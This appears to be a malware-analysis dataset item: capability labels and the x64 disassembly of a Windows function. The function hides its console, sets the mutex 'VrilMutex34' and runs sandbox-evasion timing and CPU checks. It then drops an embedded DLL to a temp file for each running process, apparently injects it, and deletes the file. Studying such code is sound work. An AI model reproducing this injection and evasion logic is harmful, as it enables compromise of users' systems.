Function at 0x140002a10
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x890
mov rax, qword [0x14006e080]
xor rax, rsp
mov qword [rsp + 0x880], rax
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x30], r13d
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea r8, str.VrilMutex34
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400031cb
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rdi, rax
mov edx, 0xea60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x1400031ff
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, edi
cmp eax, 0xea60
jb 0x1400031ff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140002980
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm0
lea rcx, [rsp + 0x220]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x240], 2
jb 0x1400031ff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x208], xmm0
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x208]
call fcn.140003320
nop
mov r12, qword [rsp + 0x208]
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x38], rax
lea r14, [0x14003d9d0]
mov qword [rsp + 0x40], r12
cmp r12, rax
je 0x140003167
mov ebx, dword [r12]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
jne 0x140002b66
mov rax, qword [rsp + 0x38]
jmp 0x14000315e
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x14000311f
mov dword [rsp + 0x1e0], r13d
lea rdx, [rsp + 0x1e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x140002bac
cmp dword [rsp + 0x1e0], 0
sete al
jmp 0x140002bae
xor al, al
lea rdi, [0x140054de0]
test al, al
cmovne rdi, r14
mov r14d, 0x12800
mov eax, 0x17400
cmovne r14d, eax
lea rdx, [rsp + 0x250]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140002bfa
lea rdx, [0x14003d760]
lea rcx, [rsp + 0x1e8]
call fcn.140004dd0
jmp 0x140002d24
lea r9, [rsp + 0x460]
xor r8d, r8d
lea rdx, [0x14003d768]
lea rcx, [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x140002be1
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x48]
call fcn.140004dd0
nop
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rcx, r8
sub rcx, rdx
cmp rcx, 4
mov rcx, rax
jb 0x140002c6e
lea r9, [rdx + 4]
mov qword [rax + 0x10], r9
cmp r8, 7
jbe 0x140002c59
mov rcx, qword [rax]
movabs r8, 0x6c006c0064002e
mov qword [rcx + rdx*2], r8
mov word [rcx + r9*2], r13w
jmp 0x140002c8a
mov qword [rsp + 0x20], 4
lea r9, str..dll
xor r8d, r8d
lea edx, [r8 + 4]
call fcn.140009f30
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
or esi, 2
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140002d00
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000320a
call fcn.14000ce30
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r13w
movups xmmword [rsp + 0x1e8], xmm0
movups xmmword [rsp + 0x1f8], xmm1
or esi, 1
mov dword [rsp + 0x30], esi
cmp qword [rsp + 0x1f8], 0
jne 0x140002db5
lea rdx, str.Failed_to_get_temporary_DLL_path.
lea rcx, [0x14006f8d0]
call fcn.140007950
mov rcx, rax
call fcn.140007c00
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
jbe 0x140002da4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000326d
call fcn.14000ce30
nop
mov rax, qword [rsp + 0x38]
lea r14, [0x14003d9d0]
jmp 0x14000315e
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0xd0]
call fcn.140030020
lea rdx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 7
cmova rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0xd0]
call fcn.140006400
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0xcc], edx
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0xe0], 6
je 0x140002f4d
lea rdx, str.Failed_to_create_temporary_DLL_file.
lea rcx, [0x14006f8d0]
call fcn.140007950
mov rcx, rax
call fcn.140007c00
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0xcc], edx
lea rcx, [rsp + 0xd8]
call fcn.140004820
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0xcc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x178]
call fcn.14000abf0
nop
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
jbe 0x140002f3c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000326d
call fcn.14000ce30
nop
mov rax, qword [rsp + 0x38]
lea r14, [0x14003d9d0]
jmp 0x14000315e
mov r8, r14
mov rdx, rdi
lea rcx, [rsp + 0xd0]
call fcn.140004ae0
lea rcx, [rsp + 0xd8]
call fcn.1400062c0
test rax, rax
jne 0x140002fb4
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x118], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rsp + rcx + 0xe0]
and eax, 0x17
mov dword [rsp + rcx + 0xe0], eax
mov edx, dword [rsp + rcx + 0xe4]
and edx, eax
jne 0x140003210
mov r9d, 0x104
lea r8, [rsp + 0x670]
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x140003009
lea rdx, [rsp + 0x1e8]
mov ecx, ebx
call fcn.1400033c0
test al, al
jne 0x140003009
lea rdx, str.Failed:
lea rcx, [0x14006fa60]
call fcn.140007c90
mov edx, ebx
mov rcx, rax
call fcn.1400037f0
mov rcx, rax
call fcn.140007f50
lea rcx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 7
cmova rcx, qword [rsp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0xcc], edx
lea rcx, [rsp + 0xd8]
call fcn.140004820
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0xcc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x178]
call fcn.14000abf0
nop
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
jbe 0x14000310a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003105
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000326d
call fcn.14000ce30
lea r14, [0x14003d9d0]
mov rax, qword [rsp + 0x38]
add r12, 4
jmp 0x140002b40
lea rdx, str.Failed:
lea rcx, [0x14006fa60]
call fcn.140007c90
mov edx, ebx
mov rcx, rax
call fcn.1400037f0
mov rcx, rax
call fcn.140007f50
jmp 0x140003111
add r12, 4
jmp 0x140002b40
call fcn.140002980
lea rdx, str.Press_Enter_to_exit...
lea rcx, [0x14006f620]
call fcn.140007950
call fcn.140003620
nop
mov rcx, qword [rsp + 0x208]
test rcx, rcx
je 0x1400031cb
mov rdx, qword [rsp + 0x218]
sub rdx, rcx
and rdx, 0xfffffffffffffffc
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003273
call fcn.14000ce30
xor eax, eax
mov rcx, qword [rsp + 0x880]
xor rcx, rsp
call fcn.14000ce10
lea r11, [rsp + 0x890]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov ecx, 1
call fcn.140013a08
nop
call fcn.140017dc0
nop
test dl, 4
je 0x14000321e
lea rbx, str.ios_base::badbit_set
jmp 0x140003233
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x90]
call fcn.140001690
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400027b0
lea rdx, [0x14006c910]
lea rcx, [rsp + 0xa0]
call fcn.14000eb9c
nop
call fcn.140017dc0
nop
call fcn.140017dc0
int3